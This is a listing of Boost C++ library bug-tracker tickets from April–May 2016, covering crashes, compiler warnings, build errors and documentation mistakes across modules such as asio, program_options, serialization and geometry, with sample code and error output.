Using the "%s" format flag with an input string that does not end with fractional seconds leads to dereferencing of an "end" iterator, causing memory corruption.

Sample code:

std::string fmt = "%Y-%m-%d %H:%M:%s";
std::stringstream ss;
ss.imbue(std::locale(ss.getloc(), new boost::posix_time::time_input_facet(fmt)));
ss << "2010-05-10 10:03:05";
boost::posix_time::ptime pt;
ss >> pt;

#12174: Tokenizer delivers additional null byte - string token

Tue, 03 May 2016 10:28:12 GMT

If I run the attached program I get

TokenStartsHere:McStructuredLoanEngine::calculate() trace information:TokenEndsHere / length of string is 53 TokenStartsHere::TokenEndsHere / length of string is 1

The first token is expected, but the second is not. I seems to contain one null byte.

#12173: error: Unable to load Jamfile.

Tue, 03 May 2016 09:17:41 GMT

I'm trying to build boost from master, and on a clean checkout I'm getting ` $ ./bootstrap.sh [...] $ ./b2 /home/xxx/software/boost/source-upstream/tools/build/src/build/project.jam:262: in find-jamfile from module project error: Unable to load Jamfile. error: Could not find a Jamfile in directory 'libs/config/checks/architecture'. error: Attempted to find it with pattern '[Bb]uild.jam [Jj]amfile.v2 [Jj]amfile [Jj]amfile. [Jj]amfile.jam'. error: Please consult the documentation at 'http://www.boost.org'. /home/xxx/software/boost/source-upstream/tools/build/src/build/project.jam:280: in load-jamfile from module project /home/xxx/software/boost/source-upstream/tools/build/src/build/project.jam:64: in load from module project /home/xxx/software/boost/source-upstream/tools/build/src/build/project.jam:89: in load-used-projects from module project /home/xxx/software/boost/source-upstream/tools/build/src/build/project.jam:75: in load from module project /home/xxx/software/boost/source-upstream/tools/build/src/build/project.jam:145: in project.find from module project /home/xxx/software/boost/source-upstream/tools/build/src/build-system.jam:535: in load from module build-system /home/xxx/software/boost/source-upstream/tools/build/src/kernel/modules.jam:295: in import from module modules /home/xxx/software/boost/source-upstream/tools/build/src/kernel/bootstrap.jam:139: in boost-build from module /home/xxx/software/boost/source-upstream/boost-build.jam:17: in module scope from module ` Any hints?

#12172: Warning in ublas/matrix_expression.hpp from GCC 6.1.0 -Wmisleading-indentation

lopresti@… — Mon, 02 May 2016 16:59:38 GMT

When I compile with "-Wall -Wextra -Werror", I get:

.../boost/numeric/ublas/matrix_expression.hpp:2224:17: error: this ‘if’ clause does not guard... [-Werror=misleading-indentation]

if (it2_ != it2_end_) ^~

.../boost/numeric/ublas/matrix_expression.hpp:2227:21: note: ...this statement, but the latter is misleadingly indented as if it is guarded by the ‘if’

if (it2_ != it2_end_) {

This appears to be a valid warning, and lines 2227 and 2228 should be un-indented by one level. Assuming this is not a real bug, that is.

#12169: error when copying blocks into a dynamic_bitset with size() not an integral number of bits_per_block

Fri, 29 Apr 2016 14:25:57 GMT

Hi,

I'm trying to initialize a dynamic_bitset<unsigned char> from a vector of blocks. Here's the code:

#include <cstdlib>
#include <vector>
#include <boost/dynamic_bitset.hpp>
typedef boost::dynamic_bitset<unsigned char> BitSet;
typedef std::vector<BitSet::block_type> Block;
int main(int argc, char* argv[]) {
    int nbits = atoi( argv[1] );
    BitSet bits( nbits );
    Block buffer;
    buffer.resize( bits.num_blocks(), 0xff );
    boost::from_block_range(buffer.begin(),buffer.end(), bits );
    return 0;
}

If the bitset size isn't a multiple of sizeof(unsigned char) (here 8), an assert() in ~dynamic_bitset() fails and the process is aborted.

For example:

% ./a.out 1
a.out: boost-1.60.0/include/boost/dynamic_bitset/dynamic_bitset.hpp:633: ost::dynamic_bitset<Block, Allocator>::~dynamic_bitset() [with Block = unsigned char; Allocator = std::allocator<unsigned ar>]: Assertion `m_check_invariants()' failed.
Aborted
% ./a.out 8
% ./a.out 15
a.out: boost-1.60.0/boost/dynamic_bitset/dynamic_bitset.hpp:633: ost::dynamic_bitset<Block, Allocator>::~dynamic_bitset() [with Block = unsigned char; Allocator = std::allocator<unsigned ar>]: Assertion `m_check_invariants()' failed.
Aborted
% ./a.out 16
%

I see this with 1.59 & 1.60 using either g++ 4.7.2 or Apple LLVM version 6.0 (clang-600.0.57) (based on LLVM 3.5svn)

Thanks, Diab

#12168: Issue with shared_ptr on boost python

praveenkumar076@… — Thu, 28 Apr 2016 15:19:19 GMT

Hi,

I have a struct A defined in C++ and exposed to python as shared_ptr. There are two global vectors of shared_ptrs of A. I create and add a object of type A from python to C++ in the two vectors Clear one vector Then when the python exits the program crashes with access violation error.

I have attached both C++ and python file to recreate this issue.

Thanks Praveen

#12165: Build filesystem for Windows Runtime

Wed, 27 Apr 2016 22:37:47 GMT

Here is patch which fix compilation errors when compiling boost filesystem for windows runtime.

Most functionality should work, however, some might not be tested yet. However, can be used as starting point in order to support filesystem for windows runtime.

#12164: Build filesystem for Windows Runtime

Wed, 27 Apr 2016 22:37:36 GMT

Here is patch which fix compilation errors when compiling boost filesystem for windows runtime.

Most functionality should work, however, some might not be tested yet. However, can be used as starting point in order to support filesystem for windows runtime.

#12163: `void boost::algorithm::replace_all()`'s documentation describes the return value

Wed, 27 Apr 2016 18:14:38 GMT

http://www.boost.org/doc/libs/1_60_0/doc/html/boost/algorithm/replace_all.html

The synopsis says the return value with:

Returns: A reference to the modified input

although the return value is void

#12162: buffer interface violates strict-aliasing rule

Wed, 27 Apr 2016 12:08:13 GMT

The buffer class interfaces can cause violations of the strict-aliasing rule. This example program emits this warning when compiled with optimizations on GCC 5.1.1:

#include <boost/asio/streambuf.hpp>
#include <boost/endian/buffers.hpp>
#include <cstdint>
#include <memory>
template<class Streambuf>
std::uint16_t
get(Streambuf& sb)
{
    using namespace boost::asio;
    using namespace boost::endian;
    std::uint8_t b[2];
    sb.consume(buffer_copy(buffer(b), sb.data()));
    return reinterpret_cast<big_uint16_buf_t const*>(&b[0])->value();
}
int main()
{
    using namespace boost::asio;
    streambuf sb;
    std::uint8_t b[2];
    memset(&b[0], 0, sizeof(b));
    sb.commit(buffer_copy(sb.prepare(sizeof(b)), buffer(b)));
    return get(sb);
}

Produces:

prog.cc: In instantiation of 'uint16_t get(Streambuf&)
[with Streambuf = boost::asio::basic_streambuf<>; uint16_t = short unsigned int]':
prog.cc:24:18:   required from here
prog.cc:14:67: warning: dereferencing type-punned pointer will break
strict-aliasing rules [-Wstrict-aliasing]
     return reinterpret_cast<big_uint16_buf_t const*>(&b[0])->value();

Link to program and output: http://melpon.org/wandbox/permlink/x7xQsxaU3jv0lOtD

#12161: Broken link in HTML documentation

Wed, 27 Apr 2016 11:16:13 GMT

This link produces a 404 http://www.boost.org/doc/libs/1_60_0/libs/endian/include/boost/endian/conversion.hpp

#12159: file_descriptor(int,flags) constructor fails

Tue, 26 Apr 2016 22:44:26 GMT

The following code fails to compile:

int fd = fileno(filename);

boost::iostreams::file_descriptor_source fd_src(

fd, boost::iostreams::file_descriptor_flags::close_handle

);

The compiler reports: ... /usr/include/boost/iostreams/device/file_descriptor.hpp:194:11: error: no matching function for call to ‘boost::iostreams::detail::path::path(boost::iostreams::file_descriptor_source* const&)’

{ open(detail::path(path), mode); }

...

Evidently the templated constructor is overriding.

#12158: boost::size() and friends should use an ADL barrier like boost::begin

Tue, 26 Apr 2016 21:35:42 GMT

boost::begin() and boost::end() are nicely declared in an ADL barrier namespace to avoid conflicts with code like this:

using std::begin;
auto i = begin(c);

N4280 has been accepted into C++17, which adds std::size, std::empty, and std::data. But if users attempt to use those in the same way:

using std::size;
auto s = size(c);

They may get an error. For example, if c is a std::vector<boost::shared_ptr<int>> or something, boost::size() will be found by ADL, and since it's no more specific than std::size, the call will be ambiguous.

#12156: AddressSanitizer reports stack-buffer-overflow for error_with_option_name::substitute_placeholders

Tue, 26 Apr 2016 13:37:10 GMT

When boost::program_options::parse_command_line(...) throws for an unrecognized option it triggers AddressSanitizer (under gcc 5.3.0, boost 1.60):

ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fffe6ce7070 at pc 0x0000007406cd bp 0x7fffe6ce6fe0 sp 0x7fffe6ce6fd8
READ of size 8 at 0x7fffe6ce7070 thread T0
    #0 0x7406cc in std::_Head_base<0ul, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&&, false>::_M_head(std::_Head_base<0ul, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&&, false>&) /frc/toolchain6/include/c++/5.3.0/tuple:142
    #1 0x7406cc in _M_create_node /frc/toolchain6/include/c++/5.3.0/tuple:347
    #2 0x7403fd in std::_Rb_tree_iterator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > std::_Rb_tree<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::_Select1st<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > >::_M_emplace_hint_unique<std::piecewise_construct_t const&, std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&&>, std::tuple<> >(std::_Rb_tree_const_iterator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > >, std::piecewise_construct_t const&, std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&&>&&, std::tuple<>&&) /frc/toolchain6/include/c++/5.3.0/bits/stl_tree.h:2170
    #3 0xd5eff8 in boost::program_options::error_with_option_name::substitute_placeholders(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) const (/home/joe/myapp_workspace/myapp/myapp-debug+0xd5eff8)
    #4 0xd5c0dd in boost::program_options::error_with_option_name::what() const (/home/joe/myapp_workspace/myapp/myapp-debug+0xd5c0dd)
    #5 0x58addf in main /home/joe/myapp_workspace/myapp/main.cpp:62
    #6 0x7fd7e056176c in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2176c)
    #7 0x436aa0  (/home/joe/myapp_workspace/myapp/myapp-debug+0x436aa0)

#12154: [program_options] disable "long_allow_adjacent" and "short_allow_adjacent",it doesn't work

714702751@… — Tue, 26 Apr 2016 08:14:06 GMT

I set the style as follows when parsing command line for disabling the format"--test=1"and "-t1",it doesn't work. .style(

boost::program_options::command_line_style::unix_style^{boost::program_options::command_line_style::long_allow_adjacent} boost::program_options::command_line_style::short_allow_adjacent)

#12153: [program_options] disable "long_allow_adjacent" and "short_allow_adjacent",it doesn't work

714702751@… — Tue, 26 Apr 2016 08:13:38 GMT

I set the style as follows when parsing command line for disabling the format"--test=1"and "-t1",it doesn't work. .style(

boost::program_options::command_line_style::unix_style^{boost::program_options::command_line_style::long_allow_adjacent} boost::program_options::command_line_style::short_allow_adjacent)

#12151: Example UDP async server stops on error...

Sat, 23 Apr 2016 15:19:11 GMT

In the boost::asio UDP async server example, if a recv_from error occurs, the server stops receiving completely. The code in question is in the "start_receive()" function:

void handle_receive(const boost::system::error_code& error,
      std::size_t /*bytes_transferred*/)
  {
    if (!error || error == boost::asio::error::message_size)
    {
....
      start_receive();
    }
  }

Should instead be (with start_receive() moved outside the error check):

void handle_receive(const boost::system::error_code& error,
      std::size_t /*bytes_transferred*/)
  {
    if (!error || error == boost::asio::error::message_size)
    {
....
    }
    start_receive();
  }

http://www.boost.org/doc/libs/1_60_0/doc/html/boost_asio/tutorial/tutdaytime6/src.html

#12150: posix_recursive_mutex constructor never called, fails to init mutex

adrian.cheater@… — Fri, 22 Apr 2016 18:26:39 GMT

I'm trying to get a shared memory system working on OSX, as far as I can tell, it's calling posix_recursive_mutex::lock() without initalizing the mutex, which happens in the constructor. A breakpoint on line 78 of include/boost/interprocess/sync/posix/recursive_mutex.hpp never gets hit.

Here is the output from my compiler attempt:

g++ -v -I/usr/local/Cellar/boost/1.60.0/include -O0 -g -std=c++11 main.cpp
Apple LLVM version 6.1.0 (clang-602.0.53) (based on LLVM 3.6.0svn)
Target: x86_64-apple-darwin14.0.0
Thread model: posix
 "/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/clang" -cc1 -triple x86_64-apple-macosx10.10.0 -emit-obj -mrelax-all -disable-free -disable-llvm-verifier -main-file-name main.cpp -mrelocation-model pic -pic-level 2 -mdisable-fp-elim -masm-verbose -munwind-tables -target-cpu core2 -target-linker-version 242.2 -v -gdwarf-2 -dwarf-column-info -resource-dir /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/clang/6.1.0 -isysroot /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.10.sdk -I /usr/local/Cellar/boost/1.60.0/include -stdlib=libc++ -O0 -std=c++11 -fdeprecated-macro -fdebug-compilation-dir /Users/CPX-Hackintosh01/src/ruby/shm_test -ferror-limit 19 -fmessage-length 270 -stack-protector 1 -mstackrealign -fblocks -fobjc-runtime=macosx-10.10.0 -fencode-extended-block-signature -fcxx-exceptions -fexceptions -fmax-type-align=16 -fdiagnostics-show-option -fcolor-diagnostics -o /var/folders/96/hl850bv57w39vhdzqy2nykf00000gn/T/main-43ba41.o -x c++ main.cpp
clang -cc1 version 6.1.0 based upon LLVM 3.6.0svn default target x86_64-apple-darwin14.0.0
ignoring nonexistent directory "/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.10.sdk/usr/include/c++/v1"
ignoring nonexistent directory "/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.10.sdk/usr/local/include"
ignoring nonexistent directory "/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.10.sdk/Library/Frameworks"
#include "..." search starts here:
#include <...> search starts here:
 /usr/local/Cellar/boost/1.60.0/include
 /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../include/c++/v1
 /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/clang/6.1.0/include
 /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include
 /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.10.sdk/usr/include
 /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.10.sdk/System/Library/Frameworks (framework directory)
End of search list.
 "/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/ld" -demangle -dynamic -arch x86_64 -macosx_version_min 10.10.0 -syslibroot /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.10.sdk -o a.out /var/folders/96/hl850bv57w39vhdzqy2nykf00000gn/T/main-43ba41.o -lc++ -lSystem /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/clang/6.1.0/lib/darwin/libclang_rt.osx.a
 "/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/dsymutil" -o a.out.dSYM a.out

Any insight would be appreciated.

#12149: boost::property_tree::write_json(stream, root, /pretty=/false) gives extra std::endl at the end

anonymous — Fri, 22 Apr 2016 16:24:51 GMT

As was noted in #3828, not pretty written json has extra endl at the end.

(Creating a separate ticket, as that one was Fixed and further comments got ignored)

#12148: VS2015 warning: macro redefinition

wbu@… — Fri, 22 Apr 2016 16:08:06 GMT

E:\Boost\boost_1_60_0\boost\spirit\home\support\detail\endian\endian.hpp:55: warning: C4005: 'BOOST_ENDIAN_DEFAULT_CONSTRUCT': macro redefinition E:\Boost\boost_1_60_0\boost/endian/buffers.hpp(54): note: see previous definition of 'BOOST_ENDIAN_DEFAULT_CONSTRUCT'

#12145: boost::geometry::remove_spikes doesn't remove spike

xiongzubiao@… — Thu, 21 Apr 2016 22:07:44 GMT

In the following example, the fourth point is actually a spike. remove_spikes does not remove it.

#include <iostream>
#include <boost/geometry.hpp>
#include <boost/geometry/geometries/geometries.hpp>
namespace bg = boost::geometry;
int main()
{
	typedef bg::model::point<double, 2, bg::cs::cartesian> point_t;
	typedef bg::model::polygon<point_t> polygon_t;
	polygon_t poly{ { { 0.08039, 0.08076 },{ 0.836, 2.343 },
		{ 2.24, 1.874 },{ 1.452,-0.485 },{ 1.485, -0.3882 } } };
	bg::correct(poly);
	bg::remove_spikes(poly);
	return 0
}

#12144: Clang 3.9 trunk DONT_USE_HAS_NEW_OPERATOR warning

drivehappy@… — Thu, 21 Apr 2016 19:02:13 GMT

Clang 3.9 is reporting the following warning:

boost/boost.1.58.0/boost/archive/detail/iserializer.hpp:65:7: error: macro expansion producing 'defined' has undefined behavior [-Werror,-Wexpansion-to-defined]
#if ! DONT_USE_HAS_NEW_OPERATOR
      ^
boost/boost.1.58.0/boost/archive/detail/iserializer.hpp:61:5: note: expanded from macro 'DONT_USE_HAS_NEW_OPERATOR'
    defined(__BORLANDC__)                              \
    ^

I believe this may have been initially fixed with: https://svn.boost.org/trac/boost/ticket/8120

Changing the source to not directly #define on #defined seems to resolve this warning:

#ifndef BOOST_MSVC
	#if BOOST_WORKAROUND(__IBMCPP__, < 1210)               \
            || defined(__SUNPRO_CC) && (__SUNPRO_CC < 0x590)
		#define DONT_USE_HAS_NEW_OPERATOR 1
	#else
		#define DONT_USE_HAS_NEW_OPERATOR 0
	#endif
#else
    #define DONT_USE_HAS_NEW_OPERATOR 0
#endif

#12143: Preferred separator not exported in dll under Windows

andrei_damian2620000@… — Thu, 21 Apr 2016 14:08:31 GMT

Under windows(10) with MSVC14 compiler, I get the following linking error:

Severity	Code	Description	Project	File	Line	Suppression State
Error	LNK2001	unresolved external symbol "__declspec(dllimport) public: static wchar_t const boost::filesystem::path::preferred_separator" (__imp_?preferred_separator@path@filesystem@boost@@2_WB)	bfs	D:\Info\cvisd\bfs\bfs\main.obj	1
Error	LNK1120	1 unresolved externals	bfs	D:\Info\cvisd\bfs\x64\Release\bfs.exe	1

I get it on both amd64 and i386 if I

#define BOOST_ALL_DYN_LINK

#12141: XML serialization broken

Wed, 20 Apr 2016 18:27:14 GMT

The Boost 1.61.0 beta1 version of serialization has a breaking regression that changes the XML closing tag to </boost_serialization> rather than </boost_serialization>.

Example code:

#include <boost/archive/xml_oarchive.hpp>
#include <boost/serialization/nvp.hpp>
#include <iostream>
int main() {
        boost::archive::xml_oarchive oa( std::cerr );
        int bob = 3;
        oa << boost::serialization::make_nvp( "bob", bob );
}

Compiling and running with these commands:

setenv LD_LIBRARY_PATH /opt/boost_1_60_0_gcc_build/lib:/opt/boost_1_61_0_b1_gcc_build/lib
g++ ser_regn.cpp -isystem /opt/boost_1_60_0_gcc_build/include    -L/opt/boost_1_60_0_gcc_build/lib    -l boost_serialization-mt -o ser_regn.1_60_0
g++ ser_regn.cpp -isystem /opt/boost_1_61_0_b1_gcc_build/include -L/opt/boost_1_61_0_b1_gcc_build/lib -l boost_serialization-mt -o ser_regn.1_61_0_b1
./ser_regn.1_60_0
./ser_regn.1_61_0_b1

The 1_60_0 version gives:

<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
<!DOCTYPE boost_serialization>
<boost_serialization signature="serialization::archive" version="14">
<bob>3</bob>
</boost_serialization>

The 1_61_0_b1 version gives:

<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
<!DOCTYPE boost_serialization>
<boost_serialization signature="serialization::archive" version="14">
<bob>3</bob>
&lt;/boost_serialization&gt;

#12139: Voronoi diagram contains NaN coordinates

Tue, 19 Apr 2016 13:21:23 GMT

After computing Voronoi diagram for a large shape consisting of only segments (no points), resulting diagram contains some NaN coordinates. Segments are non-intersecting, as far as could've checked.

I'll try to simplify the shape and attach it here, so far I'm just showing the stacktrace of the division by zero causing a NaN: boost::polygon::detail::robust_fpt<double>::operator/(const boost::polygon::detail::robust_fpt<double> & that) Line 205 C++

boost::polygon::detail::voronoi_predicates<boost::polygon::detail::voronoi_ctype_traits<int> >::lazy_circle_formation_functor<boost::polygon::detail::site_event<int>,boost::polygon::detail::circle_event<double> >::pps(const boost::polygon::detail::site_event<int> & site1, const boost::polygon::detail::site_event<int> & site2, const boost::polygon::detail::site_event<int> & site3, int segment_index, boost::polygon::detail::circle_event<double> & c_event) Line 1095 C++ boost::polygon::detail::voronoi_predicates<boost::polygon::detail::voronoi_ctype_traits<int> >::circle_formation_predicate<boost::polygon::detail::site_event<int>,boost::polygon::detail::circle_event<double>,boost::polygon::detail::voronoi_predicates<boost::polygon::detail::voronoi_ctype_traits<int> >::circle_existence_predicate<boost::polygon::detail::site_event<int> >,boost::polygon::detail::voronoi_predicates<boost::polygon::detail::voronoi_ctype_traits<int> >::lazy_circle_formation_functor<boost::polygon::detail::site_event<int>,boost::polygon::detail::circle_event<double> > >::operator()(const boost::polygon::detail::site_event<int> & site1, const boost::polygon::detail::site_event<int> & site2, const boost::polygon::detail::site_event<int> & site3, boost::polygon::detail::circle_event<double> & circle) Line 1467 C++ boost::polygon::voronoi_builder<int,boost::polygon::detail::voronoi_ctype_traits<int>,boost::polygon::detail::voronoi_predicates<boost::polygon::detail::voronoi_ctype_traits<int> > >::activate_circle_event(const boost::polygon::detail::site_event<int> & site1, const boost::polygon::detail::site_event<int> & site2, const boost::polygon::detail::site_event<int> & site3, std::_Tree_iterator<std::_Tree_val<std::_Tree_simple_types<std::pair<boost::polygon::detail::beach_line_node_key<boost::polygon::detail::site_event<int> > const ,boost::polygon::detail::beach_line_node_data<void,boost::polygon::detail::circle_event<double> > > > > > bisector_node) Line 482 C++ boost::polygon::voronoi_builder<int,boost::polygon::detail::voronoi_ctype_traits<int>,boost::polygon::detail::voronoi_predicates<boost::polygon::detail::voronoi_ctype_traits<int> > >::process_circle_event<boost::polygon::voronoi_diagram<double,boost::polygon::voronoi_diagram_traits<double> > >(boost::polygon::voronoi_diagram<double,boost::polygon::voronoi_diagram_traits<double> > * output) Line 424 C++

boost::polygon::voronoi_builder<int,boost::polygon::detail::voronoi_ctype_traits<int>,boost::polygon::detail::voronoi_predicates<boost::polygon::detail::voronoi_ctype_traits<int> > >::construct<boost::polygon::voronoi_diagram<double,boost::polygon::voronoi_diagram_traits<double> > >(boost::polygon::voronoi_diagram<double,boost::polygon::voronoi_diagram_traits<double> > * output) Line 122 C++

#12137: boost::interprocess::intermodule_singleton initialization failed

Mon, 18 Apr 2016 23:01:55 GMT

I'm getting exception "boost::interprocess::intermodule_singleton initialization failed" when trying to use Boost Interprocess library, even when I run any example from the library doc. Debugging showed that the library fails to find event 6005 in System's EventLog, so it cannot obtain system boot-up time, which it uses to create shared dir.

I used Windows Event Viewer to check that indeed, there is no such event in my system at this moment. I didn't delete it, so I suppose that Windows itself cleans old events. My system's uptime is more than 40 days. I see that my System Event Log is configured to be maximum 20MB (it's default, I didn't change it) and it's currently 20MB, so it explains everything.

Since it's normal situation, I believe the library should use other way (in addition to, or instead of current way) to get bootup time. For example, GetTickCount64 or System Up Time performance counter (https://msdn.microsoft.com/en-us/library/windows/desktop/ms725496(v=vs.85).aspx).

What is worse, I cannot reboot at the moment and need to proof-of-concept IPC on Windows for our project, and this is my only Windows box...

The only quick workaround I see is to patch get_last_bootup_time function to use GetTickCount64.

#12135: Boost.Concepts shoudn't create typedefs based on line number

russellgreene8@… — Sun, 17 Apr 2016 23:00:53 GMT

Hey so today I spent about 30 minutes tearing my hair out over this compile error:

error: typedef redefinition with different types ('instantiate<&::boost::concepts::requirement_<void (*)(concept::Window<qt_window>)>::failed>' vs 'instantiate<&::boost::concepts::requirement_<void (*)(concept::Viewport<qt_viewport>)>::failed>')

This error isn't useful to what was happening. I had two BOOST_CONCEPT_ASSERT((...))s in two different files, under the global namespace. At first I theorized that it wasn't just supported but according to the docs BOOST_CONCEPT_ASSERT can be used in any scope. Then I started to look at the implementation and found this line: BOOST_PP_CAT(boost_concept_check,LINE) which gave it all away: they were both on the same line. The thing is that I use a code formatter, so I actually have to add comments or code to change the line number a line of code is on.

I would love this to be fixed. There is a fine workaround, but it isn't a very easy to find error in your code.

Here is a simple test case. Just add a newline before the BOOST_CONCEPT_ASSERT((...)) in either of the headers to get rid of the error:

Code highlighting:

// a.h
#include <boost/concept_check.hpp>
BOOST_CONCEPT_ASSERT((boost::Integer<int>)); // note line number

Code highlighting:

// b.h
#include <boost/concept_check.hpp>
BOOST_CONCEPT_ASSERT((boost::UnsignedInteger<unsigned int>)); // note line number

Code highlighting:

// main.cpp
#include "a.h"
#incldue "b.h"
int main(){}

#12134: Boost.Concepts shoudn't create typedefs based on line number

russellgreene8@… — Sun, 17 Apr 2016 23:00:38 GMT

Hey so today I spent about 30 minutes tearing my hair out over this compile error:

error: typedef redefinition with different types ('instantiate<&::boost::concepts::requirement_<void (*)(concept::Window<qt_window>)>::failed>' vs 'instantiate<&::boost::concepts::requirement_<void (*)(concept::Viewport<qt_viewport>)>::failed>')

I would love this to be fixed. There is a fine workaround, but it isn't a very easy to find error in your code.

Here is a simple test case. Just add a newline before the BOOST_CONCEPT_ASSERT((...)) in either of the headers to get rid of the error:

Code highlighting:

// a.h
#include <boost/concept_check.hpp>
BOOST_CONCEPT_ASSERT((boost::Integer<int>)); // note line number

Code highlighting:

// b.h
#include <boost/concept_check.hpp>
BOOST_CONCEPT_ASSERT((boost::UnsignedInteger<unsigned int>)); // note line number

Code highlighting:

// main.cpp
#include "a.h"
#incldue "b.h"
int main(){}

#12133: cpp_dec_float should compare to precision

scottopoly@… — Sun, 17 Apr 2016 08:50:37 GMT

See this accepted answer for a method to compare two cpp_dec_float's *without* including the guard digits in the comparison. Specifically see the second comment on the answer by "namezero".

http://stackoverflow.com/a/27381898

(I find myself about to implement similar "epsilon" logic)

#12132: ubuntu 64 bit icu detaction fails

konstantin.kivi@… — Sat, 16 Apr 2016 15:30:04 GMT

bootstrap.sh code regarding icu presence looks like this

 $ECHO -n "Unicode/ICU support for Boost.Regex?... "
295 if test "x$flag_icu" != xno; then
296   if test "x$ICU_ROOT" = x; then
297     COMMON_ICU_PATHS="/usr /usr/local /sw"
298     for p in $COMMON_ICU_PATHS; do
299       if test -r $p/include/unicode/utypes.h; then
300         ICU_ROOT=$p

however on my 64 bit ubuntu 15.10 utypes.h is located here

konst@konst:~/work/DUP/petra-one/boost/boost_1_60_0> locate utypes.h
/usr/include/x86_64-linux-gnu/unicode/utypes.h

it even doesn't have a form of $p/include/unicode/utypes.h and thus it is not possible to provide path to icu manually

#12131: Boost Asio async HTTP Client example source code incorrect

Sat, 16 Apr 2016 08:03:45 GMT

The example source code for the async HTTP Client (http://www.boost.org/doc/libs/1_60_0/doc/html/boost_asio/example/cpp03/http/client/async_client.cpp) does not output the final read bytes inside "handle_read_content" if the parameter to the transfer_at_least(x) algorithm is greater than one. The code prematurely checks for an error code and disregards any already read data.

The current code in question:

void handle_read_content(const boost::system::error_code& err)
  {
    if (!err)
    {
      // Write all of the data that has been read so far.
      std::cout << &response_;
      // Continue reading remaining data until EOF.
      boost::asio::async_read(socket_, response_,
          boost::asio::transfer_at_least(1),
          boost::bind(&client::handle_read_content, this,
            boost::asio::placeholders::error));
    }
    else if (err != boost::asio::error::eof)
    {
      std::cout << "Error: " << err << "\n";
    }
  }

One possible "fix" for the code would be:

 void handle_read_content(const boost::system::error_code& err)
  {
    // Write all of the data that has been read so far.
    if ( response_.size() > 0 )
      std::cout << &response_;
    if (!err)
    {
      // Continue reading remaining data until EOF.
      boost::asio::async_read(socket_, response_,
          boost::asio::transfer_at_least(1024),
          boost::bind(&client::handle_read_content, this,
            boost::asio::placeholders::error));
    }
    else if (err != boost::asio::error::eof)
    {
      std::cout << "Error: " << err << "\n";
    }
  }

#12129: C++11 / C++14 compability in boost/iostreams

Fri, 15 Apr 2016 12:34:52 GMT

Hi,

with this code

#include <fstream>
#include <iostream>
#include <boost/iostreams/filtering_stream.hpp>
#include <boost/iostreams/copy.hpp>
#include <boost/iostreams/filter/zlib.hpp>
int main()
{
    using namespace std;
    ifstream file("hello.z", ios_base::in | ios_base::binary);
    boost::iostreams::filtering_stream<boost::iostreams::input> in;
    in.push(boost::iostreams::zlib_decompressor());
    in.push(file);
    boost::iostreams::copy(in, cout);
}

The current trunk compiles. However, if the -std=c++11 or -std=c++14 flags are specified with gcc (tested versions 4.9.2 and 5.3.0) the following error is displayd:

In file included from /usr/include/boost/iostreams/traits.hpp:31:0,
                 from /usr/include/boost/iostreams/pipeline.hpp:18,
                 from /usr/include/boost/iostreams/detail/push.hpp:22,
                 from /usr/include/boost/iostreams/filtering_stream.hpp:19,
                 from test.cpp:3:
/usr/include/boost/iostreams/detail/wrap_unwrap.hpp: In instantiation of ‘T boost::iostreams::detail::wrap(const T&, typename boost::disable_if<boost::iostreams::is_std_io<T> >::type*) [with T = boost::iostreams::basic_zlib_decompressor<>; typename boost::disable_if<boost::iostreams::is_std_io<T> >::type = void]’:
/usr/include/boost/iostreams/stream_buffer.hpp:93:5:   required from ‘boost::iostreams::stream_buffer<T, Tr, Alloc, Mode>::stream_buffer(const T&, int, int) [with T = boost::iostreams::basic_zlib_decompressor<>; Tr = std::char_traits<char>; Alloc = std::allocator<char>; Mode = boost::iostreams::input]’
